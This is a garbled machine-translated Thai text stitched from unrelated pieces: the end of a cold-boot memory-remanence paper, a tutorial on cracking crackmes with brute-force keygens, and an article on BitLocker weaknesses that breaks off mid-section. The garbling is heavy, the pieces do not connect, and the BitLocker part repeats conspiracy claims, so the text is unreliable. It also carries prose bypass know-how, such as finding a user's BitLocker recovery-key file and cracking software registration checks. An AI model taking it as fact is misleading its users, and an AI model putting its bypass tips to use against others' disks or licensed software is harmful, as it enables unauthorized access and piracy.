อีกวิธีหนึ่งคือการเพิ่มฮาร์ดแวร์การจัดเก็บคีย์ที่รับประกันว่าจะลบข้อมูลทั้งหมดออกจากที่เก็บข้อมูลเมื่อเริ่มต้น รีสตาร์ท และปิดระบบ ดังนั้น เราจะมีที่ที่ปลอดภัยในการจัดเก็บคีย์หลายตัว แม้ว่าช่องโหว่ที่เกี่ยวข้องกับการคำนวณล่วงหน้าจะยังคงอยู่

ผู้เชี่ยวชาญคนอื่นๆ ได้เสนอสถาปัตยกรรมที่เนื้อหาของหน่วยความจำจะถูกเข้ารหัสอย่างถาวร นอกจากนี้ หากคุณใช้การลบคีย์ในการรีบูตและไฟฟ้าดับ วิธีการนี้จะให้การป้องกันที่เพียงพอต่อการโจมตีที่เราได้อธิบายไว้

คอมพิวเตอร์ที่เชื่อถือได้

มีการใช้ฮาร์ดแวร์ที่สอดคล้องกับแนวคิดของ "การคำนวณที่เชื่อถือได้" เช่น ในรูปแบบของโมดูล TPM ในพีซีบางเครื่องแล้ว แม้จะมีประโยชน์ในการป้องกันการโจมตีบางอย่าง แต่ในรูปแบบปัจจุบัน อุปกรณ์ดังกล่าวไม่ได้ช่วยป้องกันการโจมตีที่เราได้อธิบายไว้

โมดูล TPM ที่ใช้ไม่ได้ใช้การเข้ารหัสเต็มรูปแบบ แต่พวกเขาดูกระบวนการบูตเพื่อตัดสินใจว่าจะบูตคีย์ลงใน RAM ได้หรือไม่ หากซอฟต์แวร์จำเป็นต้องใช้คีย์ เทคโนโลยีต่อไปนี้สามารถนำไปใช้ได้: คีย์ในรูปแบบที่ใช้งานได้จะไม่ถูกเก็บไว้ใน RAM จนกว่ากระบวนการบู๊ตจะเป็นไปตามสถานการณ์ที่คาดไว้ แต่ทันทีที่คีย์อยู่ใน RAM มันจะกลายเป็นเป้าหมายสำหรับการโจมตีของเราทันที โมดูล TPM สามารถป้องกันไม่ให้คีย์ถูกโหลดลงในหน่วยความจำ แต่ไม่ได้ป้องกันไม่ให้อ่านจากหน่วยความจำ

การค้นพบ

ตรงกันข้ามกับความเชื่อที่นิยม โมดูล DRAM เก็บข้อมูลไว้ค่อนข้างนานเมื่อปิดใช้งาน การทดลองของเราแสดงให้เห็นว่าปรากฏการณ์นี้ทำให้สามารถใช้การโจมตีทั้งคลาสได้ ซึ่งช่วยให้คุณได้รับข้อมูลสำคัญ เช่น คีย์การเข้ารหัส จาก RAM แม้ว่า OS จะพยายามปกป้องเนื้อหาก็ตาม การโจมตีที่เราอธิบายนั้นสามารถเกิดขึ้นได้จริง และตัวอย่างการโจมตีระบบเข้ารหัสที่เป็นที่นิยมของเราก็พิสูจน์ให้เห็นถึงสิ่งนี้

แต่ซอฟต์แวร์ประเภทอื่นๆ ก็มีความเสี่ยงเช่นกัน ระบบการจัดการสิทธิ์ดิจิทัล (DRM) มักใช้คีย์สมมาตรที่จัดเก็บไว้ในหน่วยความจำ และสามารถรับได้โดยใช้วิธีการที่อธิบายไว้ ดังที่เราได้แสดงให้เห็น เว็บเซิร์ฟเวอร์ที่เปิดใช้งาน SSL ก็มีความเสี่ยงเช่นกัน เนื่องจากพวกมันเก็บคีย์ส่วนตัวที่จำเป็นในการสร้างเซสชัน SSL ไว้ในหน่วยความจำ วิธีค้นหาข้อมูลสำคัญของเราน่าจะมีประสิทธิภาพในการค้นหารหัสผ่าน หมายเลขบัญชี และข้อมูลสำคัญอื่นๆ ที่จัดเก็บไว้ใน RAM

ดูเหมือนว่าไม่มีวิธีง่าย ๆ ในการกำจัดช่องโหว่ที่พบ การเปลี่ยนซอฟต์แวร์จะไม่ได้ผล การเปลี่ยนแปลงฮาร์ดแวร์จะช่วยได้ แต่เวลาและต้นทุนทรัพยากรจะสูง เทคโนโลยีของ "การคำนวณที่เชื่อถือได้" ในรูปแบบปัจจุบันก็ไม่ค่อยมีประสิทธิภาพเช่นกัน เนื่องจากไม่สามารถป้องกันคีย์ที่อยู่ในหน่วยความจำได้

ในความเห็นของเรา แล็ปท็อปที่มักจะอยู่ในที่สาธารณะและทำงานในโหมดที่เสี่ยงต่อการถูกโจมตีเหล่านี้มีความเสี่ยงมากที่สุด การมีความเสี่ยงดังกล่าวแสดงให้เห็นว่าการเข้ารหัสดิสก์ปกป้องข้อมูลสำคัญในระดับที่น้อยกว่าที่เชื่อกันโดยทั่วไป

ด้วยเหตุนี้ คุณอาจต้องพิจารณาหน่วยความจำ DRAM เป็นส่วนประกอบที่ไม่น่าเชื่อถือของพีซีสมัยใหม่ และหลีกเลี่ยงการประมวลผลข้อมูลที่เป็นความลับที่สำคัญในนั้น แต่ในขณะนี้ วิธีนี้ใช้ไม่ได้ผล จนกว่าสถาปัตยกรรมของพีซีสมัยใหม่จะเปลี่ยนไปเพื่อให้ซอฟต์แวร์เก็บคีย์ไว้ในที่ปลอดภัย

การแนะนำ

กรี้มัน
โปรแกรม (ปกติขนาดเล็ก 1-2
กิโลไบต์) ที่คุณต้องเดารหัสผ่าน
หรือทำกุญแจ Krakmi มักจะเขียน
เพื่อตรวจสอบระดับความรู้ของคนในสนาม
โปรแกรมเข้ารหัสและแฮ็ค กรักหมี่
มาจากวลีภาษาอังกฤษ Crack Me -
แตกฉัน

อย่างใดให้ฉัน
จำเป็นต้องใส่การสนับสนุนสำหรับ "การลงทะเบียน"
กุญแจสู่หนึ่งในโปรแกรมเชิงพาณิชย์ บน
ช่วงเวลานั้นของประสบการณ์ในเรื่องนี้ที่ฉันมี
นิดหน่อย ฉันพยายามแฮ็ค
crackme เล็กน้อย แต่ไม่มีอะไรทำงานและฉัน
โยนอย่างรวดเร็ว แต่เมื่อสิ่งเร้ามา ฉัน
ฉันตัดสินใจที่จะเริ่มต้นด้วย crackme และตอนนี้ฉันกำลังทำมัน
การเรียนรู้อัลกอริธึมการเข้ารหัสที่แตกต่างกัน
ข้อมูล (เช่น DES, TWODES, RSA และอื่นๆ) ค่อนข้าง
เป็นไปได้ว่าบทความต่อไปของฉันจะเกี่ยวกับ
อัลกอริทึมการเข้ารหัส
การใช้อัลกอริธึมเหล่านี้มีความสำคัญมาก
เพิ่มเวลาที่ใช้ในการแฮ็ค

ประเภทของแคร็กมี

พิจารณา
รอยแตกต่าง ๆ ฉันแยกออกสองหลัก
ประเภท: crakmi ที่เข้ารหัสและมี
แค่อัลกอริทึม

ตัวถอดรหัส
กรักมีชนิดแรกมักประกอบด้วย
"เทคนิค" ต่อต้านการดีบักมากมาย (ความซับซ้อน
ของเทคนิคเหล่านี้ขึ้นอยู่กับระดับความรู้
คนเขียนกริมมีมากที่สุด
เทคนิคทั่วไปจะข้ามได้อย่างง่ายดาย
คนและดีบักเกอร์ที่ทำงานภายใต้
โหมดป้องกันและก่อนหน้า
เพื่อเริ่มวิเคราะห์อัลกอริทึม คุณต้องได้รับ
รหัสถอดรหัส ยิ่งยาก
ถอดรหัส (เป็นไปได้มากที่สุด) ยากขึ้น
จะมีอัลกอริธึมสำหรับเลือกรหัสผ่าน (หรือรหัสผ่าน)
ให้เขา. บ่อยมากปรากฎว่า
อัลกอริทึมขนาด 300 ไบต์สามารถทำลายได้ยากขึ้น
กว่าที่จะถอดรหัส krakmi ไร้ความรู้
นักคณิตศาสตร์ก็ไม่แนะนำให้แตกร้าว
ซึ่งใช้อัลกอริธึม RSA (อัลกอริธึม
การเข้ารหัสข้อมูลด้วยกุญแจสาธารณะ) หรือ
คล้ายกัน. โดยธรรมชาติแล้ว มันจะดีกว่าที่จะเริ่มต้นด้วย
รอยแตกที่ไม่ได้เข้ารหัส ฉันไม่แนะนำเช่นกัน
พยายามแยก crakmi ออกจากกลุ่ม UCL, UCF, rPG, SOS
- คุณแค่เสียเวลาของคุณ

ในบางส่วน
Krakmi ไม่จำเป็นต้องรู้รหัสผ่าน แต่
ทำรหัสลงทะเบียน กระบวนการ
เศษอย่างแคร็กมีไม่มาก
ต่างจาก “รหัสผ่าน” แต่เป็น “ค่าประมาณ” มากกว่า
เพื่อทำลายโปรแกรม

ทำลายอัลกอริทึม
CRACKME

รอยแตกที่ซับซ้อน
ทำลายด้วยรหัสผ่านที่ดุร้ายสำหรับ
โปรแกรมขนาดเล็กถูกเขียนขึ้นสำหรับสิ่งนี้ บ่อยขึ้น
มีรหัสผ่านเดียวเท่านั้น ความซับซ้อน
เพิ่มขึ้นตามขนาดที่ต้องการ
รหัสผ่านและตัวอักษรที่ต้องใช้
ประกอบด้วย.

อัลกอริทึม:

    การวิเคราะห์
    อัลกอริทึมการตรวจสอบรหัสผ่าน

    การเขียน
    keygen (ตัวเดารหัสผ่าน)

    เปิดตัวคีย์เจน

การวิเคราะห์อัลกอริทึม
ตรวจสอบรหัสผ่าน

สำหรับการวิเคราะห์
อัลกอริทึมควรได้รับการศึกษาอย่างรอบคอบ
การตรวจสอบรหัสผ่าน สำหรับสิ่งนี้,ของคุณ
ดีบักเกอร์ที่ชื่นชอบ (Soft Ice, TD, DeGlucker...) ที่คุณต้องการ
ดูให้ดีในสิ่งที่ถูกตรวจสอบ
รหัสผ่าน. สามารถตรวจสอบได้กับ
sum (crc) ในกรณีนี้ น่าจะเป็นรหัสผ่าน
จะต้องค้นหาด้วยกำลังดุร้ายหรือเขาอาจจะ
ตรวจสอบอักขระบางตัวแล้ว
คุณสามารถ "เดา" รหัสผ่านทั้งหมดหรืออย่างน้อย
ตัวละครบางส่วนที่เหลือจะต้อง
ค้นหาโดยการค้นหา

ควบคุม
ผลรวมของส่วนรหัส นี่คือตัวเลข (ปกติคือ 2
หรือสี่ไบต์ใน krami can
ใช้แล้วหนึ่งไบต์) ซึ่ง
มีข้อมูลเกี่ยวกับโค้ดชิ้นนี้
สำหรับ krakmi มักใช้ขั้นตอน
การคำนวณเช็คซัมดั้งเดิม (เช่น
ผู้จัดเก็บใช้ crc32) พิจารณา
ตัวอย่างอัลกอริธึมที่คำนวณ
เช็คซัม:

ตัวอย่างเช่น ทั้งหมด
ไบต์ของพล็อตถูกรวมเข้าด้วยกันและปรากฎว่า
ตัวเลขคือตัวเลขและเป็นตัวควบคุม
ปริมาณพื้นที่. ตัวอย่างเช่น เรามีพล็อต
รหัสประกอบด้วย 5 ไบต์:

001 004 000 005 100

ควบคุม
ผลรวมจะเท่ากับ 1+4+0+5+100=110

หลัก
ความยากของการแฮ็คแคร็กที่ตรวจสอบได้
รหัสผ่านสำหรับ crc คือ crc ไม่สามารถย่อยสลายได้! เหล่านั้น.
รู้ผลรวมการตรวจสอบรหัสผ่าน - 110 เราไม่รู้
เราสามารถหาได้ว่าอย่างน้อยหนึ่งใน
องค์ประกอบรหัสผ่าน

การเขียน KEYGEN

ในทางปฏิบัติสำหรับ
แครกเกอร์ทุกประเภทต้องเขียนคีย์เจน
ยกเว้นปอด แตกง่าย
เกือบทุกแฮ็ค krami บิต (แฮ็คบิต
แทนที่หลายไบต์) แต่ผู้เขียนถาม
บอกรหัสแล้วหายที่สำคัญที่สุด
น่าสนใจ.

เพื่อที่จะ
เพื่อค้นหารหัสผ่าน 3 ตัวอักษรเป็นสิ่งจำเป็น
ประมาณว่า255
* 255 * 255 การรวมกัน

ลดได้
จำนวนชุดค่าผสม เช่น รู้ว่าใน
รหัสผ่านใช้เฉพาะภาษาอังกฤษ
ตัวอักษร (ใหญ่และเล็ก) แทนที่จะเป็น255
ตัวละครจะต้องวนซ้ำเพียง 52 ตัว หาก
เฉพาะตัวเลขที่เราจะวนซ้ำเพียง 10
ตัวอักษร

Keygen ควร
บันทึกเคาน์เตอร์ถอดรหัส
ชุดค่าผสม ตั้งแต่รหัสผ่านเดรัจฉาน
ใช้เวลานานแล้วก็จากไป
คุณไม่สามารถเปิดคอมพิวเตอร์ได้สองสามวัน
ทันใดนั้นคุณต้องการมัน ใส่ได้
keygen ความสามารถในการบันทึกตัวนับใน
ไฟล์และเมื่อเริ่มต้นอ่านจากไฟล์และ
ถอดรหัสต่อจากการถูกขัดจังหวะ
ตำแหน่ง

เปิดตัว KEYGEN

รหัสผ่านเดรัจฉาน,
ขึ้นอยู่กับพารามิเตอร์บางอย่าง (in
ส่วนใหญ่เกี่ยวกับจำนวนรหัสผ่านที่เป็นไปได้
ตัวอักษรและขนาดรหัสผ่าน) ต้องใช้
เป็นระยะเวลาค่อนข้างมาก
สามารถใช้คอมพิวเตอร์ได้หลายเครื่อง
ซึ่งแต่ละอันจะตรวจสอบบ้าง
บางส่วนของชุดค่าผสม

หลายคนใช้คุณลักษณะการเข้ารหัสของ Windows แต่ไม่ใช่ทุกคนที่คิดเกี่ยวกับความปลอดภัยของวิธีการป้องกันข้อมูลนี้ วันนี้เราจะมาพูดถึงการเข้ารหัส Bitlocker และพยายามหาว่าการป้องกันดิสก์ของ Windows ถูกนำไปใช้งานได้ดีเพียงใด

อย่างไรก็ตาม คุณสามารถอ่านเกี่ยวกับวิธีตั้งค่า Bitlocker ได้ในบทความ ""

  • คำนำ
  • Bitlocker ทำงานอย่างไร?
    • ช่องโหว่
    • คีย์การกู้คืน
    • กำลังเปิด BitLocker
    • BitLocker To Go
  • บทสรุป

บทความนี้เขียนขึ้นเพื่อการวิจัย ข้อมูลทั้งหมดในนั้นมีวัตถุประสงค์เพื่อให้ข้อมูลเท่านั้น ส่งถึงผู้เชี่ยวชาญด้านความปลอดภัยและผู้ที่ต้องการเป็นหนึ่งเดียว

Bitlocker ทำงานอย่างไร?

Bitlocker คืออะไร?

BitLocker เป็นคุณลักษณะการเข้ารหัสดิสก์แบบเนทีฟในระบบปฏิบัติการ Windows 7, 8, 8.1, 10 คุณลักษณะนี้ช่วยให้คุณเข้ารหัสข้อมูลที่เป็นความลับบนคอมพิวเตอร์ของคุณได้อย่างปลอดภัย ทั้งบน HDD และ SSD และสื่อแบบถอดได้

BitLocker ตั้งค่าอย่างไร?

ความน่าเชื่อถือของ BitLocker ไม่ควรถูกตัดสินโดยชื่อเสียงของ AES มาตรฐานการเข้ารหัสที่ได้รับความนิยมอาจไม่มีจุดอ่อนที่ตรงไปตรงมา แต่การใช้งานในผลิตภัณฑ์เข้ารหัสลับเฉพาะมักจะมีอยู่มากมาย Microsoft ไม่เปิดเผยรหัสเต็มสำหรับเทคโนโลยี BitLocker เป็นที่ทราบกันดีอยู่แล้วว่าใน Windows รุ่นต่าง ๆ มันขึ้นอยู่กับรูปแบบที่แตกต่างกันและการเปลี่ยนแปลงนี้ไม่ได้แสดงความคิดเห็นในทางใดทางหนึ่ง ยิ่งกว่านั้น ในบิลด์ 10586 ของ Windows 10 มันหายไป และหลังจากบิลด์สองบิลด์ก็ปรากฏขึ้นอีกครั้ง อย่างไรก็ตาม สิ่งแรกก่อน

BitLocker เวอร์ชันแรกใช้โหมด ciphertext block chaining (CBC) ถึงอย่างนั้น ข้อบกพร่องของมันก็ชัดเจน: ความง่ายในการโจมตีข้อความที่รู้จัก การต้านทานการโจมตีที่ไม่ดีตามประเภทการแทนที่ และอื่นๆ ดังนั้น Microsoft จึงตัดสินใจเสริมการป้องกันในทันที ใน Vista แล้ว อัลกอริธึม Elephant Diffuser ถูกเพิ่มเข้าไปในรูปแบบ AES-CBC ทำให้ยากต่อการเปรียบเทียบบล็อกข้อความเข้ารหัสโดยตรง ด้วยเนื้อหาเดียวกันของทั้งสองภาคหลังจากเข้ารหัสด้วยคีย์เดียว ผลลัพธ์ที่แตกต่างไปจากเดิมอย่างสิ้นเชิง ซึ่งทำให้การคำนวณรูปแบบทั่วไปซับซ้อน อย่างไรก็ตาม คีย์เริ่มต้นนั้นสั้น - 128 บิต ด้วยนโยบายการดูแลระบบ มันสามารถขยายได้ถึง 256 บิต แต่คุ้มไหม?

สำหรับผู้ใช้ หลังจากเปลี่ยนคีย์แล้ว ภายนอกจะไม่มีอะไรเปลี่ยนแปลง ไม่ว่าจะเป็นความยาวของรหัสผ่านที่ป้อน หรือความเร็วของการดำเนินการตามอัตนัย เช่นเดียวกับระบบเข้ารหัสดิสก์ทั้งหมด BitLocker ใช้หลายคีย์... และผู้ใช้จะไม่เห็นคีย์เหล่านี้เลย นี่คือแผนผังของ BitLocker

  • เมื่อเปิดใช้งาน BitLocker โดยใช้ตัวสร้างตัวเลขสุ่มหลอก ลำดับมาสเตอร์บิตจะถูกสร้างขึ้น นี่คือคีย์เข้ารหัสโวลุ่ม - FVEK (คีย์เข้ารหัสวอลุ่มเต็มรูปแบบ) เขาเป็นคนที่เข้ารหัสเนื้อหาของแต่ละภาค
  • ในทางกลับกัน FVEK จะถูกเข้ารหัสโดยใช้คีย์อื่น - VMK (volume master key) - และจัดเก็บไว้ในรูปแบบที่เข้ารหัสระหว่างข้อมูลเมตาของโวลุ่ม
  • VMK เองก็ได้รับการเข้ารหัสเช่นกัน แต่ในรูปแบบต่างๆ ตามที่ผู้ใช้เลือก
  • บนมาเธอร์บอร์ดใหม่ คีย์ VMK จะถูกเข้ารหัสโดยค่าเริ่มต้นโดยใช้คีย์ SRK (คีย์รูทของที่เก็บข้อมูล) ซึ่งจัดเก็บไว้ในตัวประมวลผลที่แยกจากกัน - โมดูลแพลตฟอร์มที่เชื่อถือได้ (TPM) ผู้ใช้ไม่มีสิทธิ์เข้าถึงเนื้อหา TPM และมีลักษณะเฉพาะสำหรับคอมพิวเตอร์แต่ละเครื่อง
  • หากไม่มีชิป TPM แยกต่างหากบนบอร์ด แทนที่จะใช้ SRK จะใช้รหัสพินที่ผู้ใช้ป้อนหรือแฟลชไดรฟ์ USB แบบออนดีมานด์พร้อมข้อมูลคีย์ที่เขียนไว้ล่วงหน้าเพื่อเข้ารหัสคีย์ VMK
  • นอกจาก TPM หรือแฟลชไดรฟ์แล้ว คุณยังสามารถป้องกันคีย์ VMK ด้วยรหัสผ่านได้

ลักษณะการทำงานทั่วไปของ BitLocker นี้ยังคงดำเนินต่อไปใน Windows รุ่นต่อๆ มาจนถึงปัจจุบัน อย่างไรก็ตาม โหมดการสร้างคีย์และการเข้ารหัสของ BitLocker ได้เปลี่ยนไปแล้ว ดังนั้นในเดือนตุลาคม 2014 Microsoft ได้ลบอัลกอริธึม Elephant Diffuser เพิ่มเติมอย่างเงียบ ๆ โดยเหลือเพียงรูปแบบ AES-CBC ที่มีข้อบกพร่องที่ทราบ ในตอนแรกไม่มีแถลงการณ์อย่างเป็นทางการเกี่ยวกับเรื่องนี้ ผู้คนได้รับเทคโนโลยีการเข้ารหัสที่อ่อนแอซึ่งมีชื่อเดียวกันภายใต้หน้ากากของการอัปเดต คำอธิบายที่คลุมเครือสำหรับการย้ายครั้งนี้เกิดขึ้นหลังจากที่นักวิจัยอิสระสังเกตเห็นการทำให้เข้าใจง่ายใน BitLocker

อย่างเป็นทางการ จำเป็นต้องลบ Elephant Diffuser ออกเพื่อให้แน่ใจว่า Windows เป็นไปตามมาตรฐานการประมวลผลข้อมูลของรัฐบาลกลางสหรัฐ (FIPS) แต่มีข้อโต้แย้งข้อหนึ่งที่หักล้างเวอร์ชันนี้: Vista และ Windows 7 ซึ่งใช้ Elephant Diffuser นั้นขายได้โดยไม่มีปัญหาในอเมริกา

เหตุผลในจินตนาการอีกประการหนึ่งสำหรับการปฏิเสธอัลกอริธึมเพิ่มเติมคือการขาดการเร่งฮาร์ดแวร์สำหรับ Elephant Diffuser และการสูญเสียความเร็วเมื่อใช้งาน อย่างไรก็ตาม ในปีก่อนๆ เมื่อโปรเซสเซอร์ทำงานช้าลง ด้วยเหตุผลบางประการ ความเร็วของการเข้ารหัสจึงเหมาะกับตัวประมวลผลเหล่านั้น และมีการใช้ AES เดียวกันอย่างแพร่หลาย แม้กระทั่งก่อนที่จะมีชุดคำสั่งแยกและชิปพิเศษสำหรับการเร่งความเร็ว เมื่อเวลาผ่านไป มันเป็นไปได้ที่จะทำให้การเร่งด้วยฮาร์ดแวร์สำหรับ Elephant Diffuser เช่นกัน หรืออย่างน้อยก็ให้ลูกค้าเลือกระหว่างความเร็วและความปลอดภัย

อีกเวอร์ชันที่ไม่เป็นทางการดูสมจริงยิ่งขึ้น "ช้าง" เข้ามาขวางทางพนักงานที่ต้องการใช้ความพยายามน้อยลงในการถอดรหัสดิสก์ถัดไป และ Microsoft ก็เต็มใจโต้ตอบกับเจ้าหน้าที่แม้ในกรณีที่คำขอของพวกเขาไม่ได้ถูกกฎหมายทั้งหมด ยืนยันทฤษฎีสมคบคิดโดยอ้อมและข้อเท็จจริงที่ว่าก่อน Windows 8 เมื่อสร้างคีย์การเข้ารหัสใน BitLocker จะใช้ตัวสร้างตัวเลขสุ่มเทียมที่ติดตั้งใน Windows ใน Windows หลายรุ่น (ถ้าไม่ใช่ทั้งหมด) นี่คือ Dual_EC_DRBG - "PRNG ที่เข้ารหัสลับที่แข็งแกร่ง" ที่พัฒนาโดย US National Security Agency และมีช่องโหว่จำนวนหนึ่ง

แน่นอนว่าความลับที่อ่อนแอของการเข้ารหัสในตัวทำให้เกิดการวิพากษ์วิจารณ์อย่างรุนแรง ภายใต้แรงกดดันของเธอ Microsoft ได้เขียน BitLocker ใหม่อีกครั้ง โดยแทนที่ PRNG ด้วย CTR_DRBG ใน Windows รุ่นใหม่ นอกจากนี้ ใน Windows 10 (เริ่มตั้งแต่สร้าง 1511) รูปแบบการเข้ารหัสเริ่มต้นคือ AES-XTS ซึ่งไม่ได้รับผลกระทบจากการจัดการบล็อกข้อความเข้ารหัส ในรุ่นล่าสุดของ "สิบ" ข้อบกพร่อง BitLocker ที่รู้จักอื่น ๆ ได้รับการแก้ไขแล้ว แต่ปัญหาหลักยังคงอยู่ มันไร้สาระมากที่ทำให้นวัตกรรมอื่นๆ ไร้ความหมาย มันเกี่ยวกับหลักการจัดการคีย์

งานของการถอดรหัสลับไดรฟ์ BitLocker นั้นทำได้ง่ายขึ้นเช่นกัน เนื่องจาก Microsoft กำลังส่งเสริมวิธีอื่นในการกู้คืนการเข้าถึงข้อมูลผ่าน Data Recovery Agent ความหมายของ "ตัวแทน" คือการเข้ารหัสคีย์การเข้ารหัสของไดรฟ์ทั้งหมดภายในเครือข่ายองค์กรด้วยคีย์การเข้าถึงเดียว เมื่อคุณมีแล้ว คุณสามารถถอดรหัสคีย์ใดก็ได้ และดิสก์ใดๆ ที่ใช้โดยบริษัทเดียวกัน สะดวก? ใช่ โดยเฉพาะอย่างยิ่งสำหรับแฮ็ค

แนวคิดในการใช้กุญแจดอกเดียวสำหรับล็อคทั้งหมดนั้นถูกประนีประนอมมาแล้วหลายครั้ง แต่ยังคงถูกส่งคืนในรูปแบบใดรูปแบบหนึ่งเพื่อความสะดวก Ralph Leighton บันทึกบันทึกความทรงจำของ Richard Feynman เกี่ยวกับงานพิเศษของเขาในโครงการแมนฮัตตันที่ห้องปฏิบัติการ Los Alamos ตอนหนึ่ง: “... ฉันเปิดตู้เซฟสามใบ - และทั้งสามใบรวมกันเป็นชุดเดียว ฉันทำทุกอย่าง: ฉันเปิดตู้เซฟพร้อมความลับทั้งหมดของระเบิดปรมาณู - เทคโนโลยีในการรับพลูโทเนียม, คำอธิบายของกระบวนการทำให้บริสุทธิ์, ข้อมูลเกี่ยวกับจำนวนวัสดุที่ต้องการ, วิธีการทำงานของระเบิด, วิธีสร้างนิวตรอน, อย่างไร วางระเบิดขนาดเท่าไหร่ - ในระยะสั้นทุกอย่างสิ่งที่พวกเขารู้ใน Los Alamos ทั้งห้องครัว!

BitLocker ค่อนข้างชวนให้นึกถึงอุปกรณ์ความปลอดภัยที่อธิบายไว้ในส่วนอื่นของหนังสือ "แน่นอน คุณกำลังล้อเล่น คุณ Feynman!" ตู้นิรภัยที่น่าประทับใจที่สุดในห้องปฏิบัติการลับสุดยอดมีช่องโหว่เช่นเดียวกับตู้เก็บเอกสารทั่วไป “... มันเป็นพันเอก และเขามีตู้เซฟสองประตูที่ยุ่งยากกว่ามากพร้อมที่จับขนาดใหญ่ที่ดึงแท่งเหล็กสี่อันหนาสามในสี่ของนิ้วออกจากกรอบ ฉันมองไปที่ด้านหลังของประตูทองสัมฤทธิ์อันสง่างามบานหนึ่ง และพบว่าหน้าปัดดิจิตอลเชื่อมต่อกับแม่กุญแจขนาดเล็กที่ดูเหมือนแม่กุญแจบนตู้เสื้อผ้าในลอสอาลามอสของฉันพอดี เห็นได้ชัดว่าระบบของคันโยกขึ้นอยู่กับแท่งเล็ก ๆ เดียวกันกับที่ล็อคตู้เก็บเอกสาร .. ฉันเริ่มหมุนแป้นหมุนแบบสุ่มเพื่อแสดงกิจกรรมบางอย่าง สองนาทีต่อมา - คลิก! - ตู้เซฟถูกเปิดออก เมื่อประตูตู้นิรภัยหรือลิ้นชักบนสุดของตู้เก็บเอกสารเปิดออก การค้นหาชุดค่าผสมนี้ทำได้ง่ายมาก นั่นคือสิ่งที่ฉันทำเมื่อคุณอ่านรายงานของฉัน เพียงเพื่อแสดงให้คุณเห็นถึงอันตราย"

คอนเทนเนอร์เข้ารหัส BitLocker นั้นค่อนข้างปลอดภัยในตัวเอง หากมีคนนำแฟลชไดรฟ์ที่มาจากที่ไหนสักแห่งมาให้คุณซึ่งเข้ารหัสด้วย BitLocker To Go คุณไม่น่าจะถอดรหัสได้ในเวลาที่เหมาะสม อย่างไรก็ตาม ในสถานการณ์จริงที่ใช้ไดรฟ์เข้ารหัสและสื่อแบบถอดได้ มีช่องโหว่มากมายที่ใช้งานง่ายเพื่อหลีกเลี่ยง BitLocker

ช่องโหว่ของ BitLocker

แน่นอนคุณสังเกตเห็นว่าเมื่อคุณเปิดใช้งาน Bitlocker ครั้งแรก คุณต้องรอเป็นเวลานาน ไม่น่าแปลกใจเลย - กระบวนการเข้ารหัสทีละส่วนอาจใช้เวลาหลายชั่วโมง เนื่องจากไม่สามารถอ่านบล็อคทั้งหมดของเทราไบต์ HDD ได้เร็วกว่าด้วยซ้ำ อย่างไรก็ตาม การปิดใช้งาน BitLocker เกิดขึ้นเกือบจะในทันที - เกิดขึ้นได้อย่างไร

ความจริงก็คือเมื่อปิดการใช้งาน Bitlocker จะไม่ถอดรหัสข้อมูล ทุกภาคส่วนจะยังคงเข้ารหัสด้วยคีย์ FVEK พูดง่ายๆ ก็คือ การเข้าถึงคีย์นี้จะไม่ถูกจำกัดอีกต่อไป การตรวจสอบทั้งหมดจะถูกปิดใช้งาน และ VMK จะยังคงถูกบันทึกไว้ในข้อมูลเมตาของข้อความธรรมดา ทุกครั้งที่คุณเปิดคอมพิวเตอร์ ตัวโหลด OS จะอ่าน VMK (โดยที่ไม่ต้องตรวจสอบ TPM ขอคีย์ในแฟลชไดรฟ์หรือรหัสผ่าน) จะถอดรหัส FVEK โดยอัตโนมัติ จากนั้นจึงถอดรหัสไฟล์ทั้งหมดเมื่อเข้าถึง สำหรับผู้ใช้ทุกอย่างจะดูเหมือนขาดการเข้ารหัสอย่างสมบูรณ์ แต่สิ่งที่ใส่ใจที่สุดอาจสังเกตเห็นว่าประสิทธิภาพของระบบย่อยของดิสก์ลดลงเล็กน้อย แม่นยำยิ่งขึ้น - ขาดความเร็วที่เพิ่มขึ้นหลังจากปิดใช้งานการเข้ารหัส

มีสิ่งอื่นที่น่าสนใจในโครงการนี้ แม้จะมีชื่อ (เทคโนโลยีการเข้ารหัสดิสก์เต็มรูปแบบ) ข้อมูลบางส่วนเมื่อใช้ BitLocker ยังคงไม่ได้รับการเข้ารหัส MBR และ BS ยังคงอยู่ในรูปแบบเปิด (เว้นแต่จะเริ่มต้นดิสก์ใน GPT) เซกเตอร์เสียและข้อมูลเมตา bootloader แบบเปิดให้พื้นที่สำหรับจินตนาการ ในทางที่ไม่ดีปลอม เป็นการสะดวกที่จะซ่อนมัลแวร์อื่น ๆ และข้อมูลเมตามีสิ่งที่น่าสนใจมากมาย รวมถึงสำเนาของคีย์ หาก Bitlocker เปิดใช้งานอยู่ พวกเขาจะถูกเข้ารหัส (แต่อ่อนแอกว่า FVEK ในการเข้ารหัสเนื้อหาของเซกเตอร์) และหากปิดใช้งาน พวกมันก็จะอยู่ในที่โล่ง สิ่งเหล่านี้ล้วนเป็นเวกเตอร์การโจมตีที่อาจเกิดขึ้นได้ พวกเขามีศักยภาพเพราะนอกจากนั้นยังมีสิ่งที่ง่ายกว่าและเป็นสากลมากขึ้น

คีย์การกู้คืน Bitlocker

นอกจาก FVEK, VMK และ SRK แล้ว BitLocker ยังใช้คีย์ประเภทอื่นที่สร้างขึ้น "เผื่อไว้" นี่คือคีย์การกู้คืนที่มีการเชื่อมโยงเวกเตอร์การโจมตียอดนิยมอื่น ๆ ผู้ใช้กลัวที่จะลืมรหัสผ่านและไม่สามารถเข้าถึงระบบได้ และ Windows เองก็แนะนำให้พวกเขาทำการเข้าสู่ระบบฉุกเฉิน เมื่อต้องการทำเช่นนี้ BitLocker Encryption Wizard ในขั้นตอนสุดท้ายจะแจ้งให้คุณสร้างคีย์การกู้คืน ไม่มีการปฏิเสธที่จะสร้างมัน คุณสามารถเลือกตัวเลือกการส่งออกที่สำคัญได้เพียงตัวเลือกเดียว ซึ่งแต่ละตัวเลือกมีความเสี่ยงสูง

ในการตั้งค่าเริ่มต้น คีย์จะถูกส่งออกเป็นไฟล์ข้อความธรรมดาที่มีชื่อที่รู้จัก: "คีย์การกู้คืน BitLocker #" โดยที่ ID คอมพิวเตอร์จะเขียนแทน # (ใช่ ในชื่อไฟล์โดยตรง!) ตัวกุญแจมีลักษณะเช่นนี้

หากคุณลืม (หรือไม่เคยรู้) รหัสผ่านที่ตั้งไว้ใน BitLocker ให้มองหาไฟล์ที่มีคีย์การกู้คืน แน่นอนว่ามันจะถูกบันทึกไว้ในเอกสารของผู้ใช้ปัจจุบันหรือในแฟลชไดรฟ์ของเขา บางทีมันอาจจะพิมพ์บนกระดาษด้วยซ้ำ ตามที่ Microsoft แนะนำ

